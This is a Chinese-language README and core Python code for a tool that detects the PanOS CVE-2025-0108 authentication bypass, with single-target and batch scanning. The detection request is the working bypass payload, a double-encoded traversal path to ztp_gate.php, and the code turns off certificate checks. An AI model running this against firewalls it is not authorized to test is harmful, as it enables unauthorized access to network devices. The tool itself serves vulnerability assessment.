PanOS 身份认证绕过漏洞检测工具 (CVE-2025-0108)
本项目提供了一个针对 Palo Alto Networks PanOS 身份认证绕过漏洞(编号 CVE-2025-0108)的概念验证(PoC)检测脚本。该工具旨在帮助安全专业人员评估其 PanOS 设备是否受该漏洞影响,从而及时采取修复措施。
功能特性
- 双模式检测:支持单个 URL 检测与批量 URL 文件导入检测。
- 多协议支持:自动尝试
http://和https://协议进行漏洞验证。 - 精准判定:通过访问特定路径并校验响应状态码(200)及响应内容中的关键字
Zero Touch Provisioning来判定漏洞是否存在。 - 可视化输出:检测结果以颜色高亮显示,清晰区分存在漏洞的目标。
- 轻量依赖:仅需 Python 标准库及
requests库,易于部署运行。
安装指南
环境要求
- Python 3.6 及以上版本
- pip 包管理工具
依赖安装
- 克隆或下载本项目代码至本地。
- 安装所需 Python 依赖库:
pip install requests urllib3
系统兼容性
- Windows / Linux / macOS 均可运行。
使用说明
基础用法
1. 检测单个 URL
python CVE-2025-0108.py -u https://your-panos-ip
2. 批量检测(从文件读取 URL 列表)
python CVE-2025-0108.py -f url.txt
其中 url.txt 每行一个目标地址(可带或不带协议前缀),示例:
192.168.1.1
10.0.0.5
https://firewall.example.com
输出示例
- 发现漏洞时,输出红色提示:
Find:http://192.168.1.1:PanOs_CVE-2025-0108_LoginByPass!
- 未发现漏洞或无响应时,无输出或仅有请求日志(调试时可自行添加打印)。
命令参数说明
| 参数 | 说明 |
|---|---|
-u | 指定单个目标 URL 或 IP 地址 |
-f | 指定包含目标列表的文本文件 |
核心代码
以下为工具核心检测逻辑代码片段,展示了漏洞探测的关键步骤。
import requests
import urllib3
from urllib.parse import urljoin
import ssl
# 忽略 SSL 证书验证警告
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check(url):
protocols = ['http://', 'https://']
for protocol in protocols:
# 构造基础 URL
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
# 构造漏洞利用路径(URL 编码绕过)
target_url1 = urljoin(target_url, "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
}
try:
response = requests.get(target_url1, verify=False, headers=headers, timeout=10)
# 漏洞存在条件:状态码 200 且响应包含特定字符串
if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
print(f"\033[31mFind:{url}:PanOs_CVE-2025-0108_LoginByPass!\033[0m")
return True
except Exception:
pass
return False
批量处理逻辑
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
# 主程序入口
if __name__ == "__main__":
# ... 参数解析代码 ...
if url:
check(url)
elif txt:
urls = read_file(txt)
for target in urls:
check(target)
⚠️ 免责声明
本工具仅供网络安全研究与教育目的使用。使用者不得将其用于任何非法或未授权的系统测试。作者不对任何因使用本工具而导致的直接或间接损害承担责任。如涉及侵权,请及时联系处理。 6HFtX5dABrKlqXeO5PUv/wdnZrWaTrNA0lBjzDo+TIK5KfE6JQkoQRxkSmN+cFt7